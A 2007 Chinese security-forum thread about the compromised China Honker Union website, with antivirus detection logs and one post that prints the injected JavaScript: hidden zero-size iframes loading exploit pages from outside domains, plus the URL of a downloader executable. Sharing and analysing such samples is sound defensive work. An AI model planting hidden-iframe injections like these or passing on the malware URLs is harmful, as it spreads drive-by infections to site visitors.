中国红客协会--被入侵了~(网址)-过瑞星19.13.01以下

显示全部楼层 · 发表于 2007-3-11 06:43:04

http://www9.chinahksm.com/hm/QQ/200609/54.html

显示全部楼层 · 发表于 2007-3-11 06:47:20

进去就被红伞抓住了，2个

显示全部楼层 · 发表于 2007-3-11 06:48:19

哈哈识货握

显示全部楼层 · 发表于 2007-3-11 06:49:01

你不用睡觉啊~~~~~~

显示全部楼层 · 发表于 2007-3-11 06:49:48

偶每天超过20小时巡逻的，各大论坛杨本区，还有黑客论坛都去，搜刮样本

显示全部楼层 · 发表于 2007-3-11 07:21:11

显示全部楼层 · 发表于 2007-3-11 07:31:28

雨伞费尔双监控
雨伞两个，费尔一个。。

显示全部楼层 · 发表于 2007-3-11 08:55:07

Time Module Object Name Threat Action User Information
2007-3-11 8:54:30 IMON file http://mm.47555.com/kk.htm HTML/Exploit.IframeBof trojan Connection terminated KASPERSK-6C4206\EQ2

显示全部楼层 · 发表于 2007-3-11 09:29:40

查看主页，发现被插入以下代码：

src='/js/menu.js'></script>

查看menu.js。插入
document.writeln("<iframe src=\"http:\/\/xxx.993311.com\/jjj\" width=\"0\" height=\"1\" frameborder=\"0\"><\/iframe>");
document.writeln("<iframe src=\"http:\/\/mm.47555.com\/kk.htm\" width=\"1\" height=\"1\" frameborder=\"0\"><\/iframe>");

kk.htm下载
http://cool.47555.com/1xxxx.exe

此1xxxx.exe为download，下载........（略）

xxx.993311.com打不开

显示全部楼层 · 发表于 2007-3-11 09:45:54

想知道周幸是不是就是丫一？？

[病毒样本] 中国红客协会--被入侵了~(网址)-过瑞星19.13.01以下

本帖子中包含更多资源

哈哈.

你不用睡觉啊~~~~~~

啊啊啊啊啊

回复 #5 绅博周幸的帖子

[病毒样本] 中国红客协会--被入侵了~(网址)-过瑞星19.13.01以下

本帖子中包含更多资源

哈哈.

你不用睡觉啊~~~~~~

啊啊啊啊啊

回复 #5 绅博周幸 的帖子

回复 #5 绅博周幸的帖子